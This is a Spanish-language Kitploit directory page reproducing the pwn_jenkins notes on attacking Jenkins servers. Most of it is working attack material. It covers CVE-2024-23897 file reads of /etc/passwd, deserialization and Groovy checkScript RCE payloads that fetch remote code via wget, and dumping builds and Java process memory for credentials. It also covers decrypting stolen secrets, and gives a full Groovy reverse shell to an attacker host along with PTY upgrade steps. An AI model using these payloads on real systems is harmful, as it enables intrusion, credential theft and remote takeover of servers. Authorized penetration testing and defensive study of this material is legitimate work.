Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pwn_jenkins — Notes about attacking Jenkins servers | Kitploit
Herramientas/GitHubGitHub/gquere/pwn_jenkins
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingSecret DetectionPayload Development
GitHubgquere/pwn_jenkins

pwn_jenkins

Notes about attacking Jenkins servers

2.1k326hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Ejecución remota de código

Lectura arbitraria del CLI de Jenkins (CVE-2024-23897 afecta a versiones anteriores a 2.442 y a la LTS 2.426.3)

Aviso de Jenkins, Créditos

Autenticado, puede recuperar un archivo completo:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

Sin autenticación o sin permisos Global/Read, solo se pueden leer 3 líneas: Leer la primera línea:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

Leer la segunda línea:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

Leer la tercera línea:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

Cómo hacer fuerza bruta a la clave de cifrado de credenciales.

RCE por deserialización en Jenkins antiguos (CVE-2015-8103, Jenkins 1.638 y anteriores)

Usa ysoserial para generar un payload. Luego RCE usando este script:

root@kitploit:~
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

Bypass de autenticación/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Aviso de Jenkins

Detalles aquí.

Si Jenkins solicita autenticación pero devuelve datos válidos con la siguiente petición, es vulnerable:

root@kitploit:~
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

RCE por metaprogramación en plugins de Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Aviso de Jenkins

Vulnerabilidad RCE original aquí, exploit completo aquí.

RCE alternativo con permisos Overall/Read y Job/Configure aquí.

RCE CheckScript en Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Aviso de Jenkins, Créditos.

Comprueba si una instancia de Jenkins es vulnerable (necesita permisos Overall/Read) con un poco de Groovy:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

Nota: Si recibes un error 403 que indica que falta la crumb (que es una protección CSRF en Jenkins), puedes obtener el valor de la crumb con una petición GET a https://example.com/crumbIssuer/api/json. El valor de la crumb deberá añadirse a la petición POST en una cabecera Jenkins-Crumb.

Ejecutar comandos bash arbitrarios:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

Si no obtienes una reverse shell de inmediato, puedes depurar lanzando una excepción:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

RCE en el plugin Git (<3.12.0) de Jenkins (CVE-2019-10392)

Aviso de Jenkins, Créditos.

Este solo funcionará si un usuario tiene los derechos 'Jobs/Configure' en la matriz de seguridad, así que es muy específico.

CorePlague (CVE-2023-27898, CVE-2023-27905)

Aviso de Jenkins, Créditos

Ten en cuenta que esto solo es explotable si se usa un Update Center dedicado y desactualizado. Por lo tanto, la mayoría de los servidores no son vulnerables.

Volcado de builds para encontrar secretos en texto claro

Usa este script para volcar las salidas de consola de los builds y las variables de entorno de los builds y, con suerte, encontrar secretos en texto claro.

root@kitploit:~
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

Spraying de contraseñas

Usa este script de Python o este script de PowerShell.

Archivos a copiar tras el compromiso

Estos archivos son necesarios para descifrar los secretos de Jenkins:

  • secrets/master.key
  • secrets/hudson.util.Secret

Estos secretos suelen encontrarse en:

  • credentials.xml
  • jobs/.../build.xml

Aquí tienes una regexp para encontrarlos:

root@kitploit:~
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

Volcado de credenciales LDAP en una máquina comprometida

Si Jenkins está configurado para verificar las credenciales de usuario reenviándolas a un LDAP (lo cual es una estupidez, pero una vulnerabilidad común en las empresas), es posible recuperar estas credenciales de usuario en texto claro volcando la memoria del proceso de Java. Asumiendo que el PID 7 corresponde al servidor Jenkins, el siguiente bucle realizará un volcado de memoria de la pila cada 30 segundos:

root@kitploit:~
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

Un pequeño retraso es importante porque el recolector de basura liberará periódicamente las estructuras de credenciales.

Descifrar secretos de Jenkins sin conexión

Usa este script para descifrar secretos previamente volcados.

root@kitploit:~
Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Scripts Groovy

Descifrar secretos de Jenkins desde Groovy

root@kitploit:~
println(hudson.util.Secret.decrypt("{...}"))

Ejecución de comandos desde Groovy

root@kitploit:~
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

Comando shell multilínea que puede incluir tuberías, redirecciones y demás:

root@kitploit:~
def proc = ['bash', '-c', '''your_long_command_here'''].execute();

Automatízalo usando este script.

Ejecución de comandos en un slave específico

Por defecto, la ejecución se realiza en el nodo maestro. Usa este script para ejecutar en un slave específico:

root@kitploit:~
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins

String agent_name = 'slave_name'

groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''

String result
Jenkins.instance.slaves.find { agent ->
    agent.name == agent_name
}.with { agent ->
    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result

Reverse shell desde Groovy

root@kitploit:~
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Dejo aquí este consejo de reverse shell para recuperar una PTY totalmente funcional, por si alguien la necesita:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
Descargar herramienta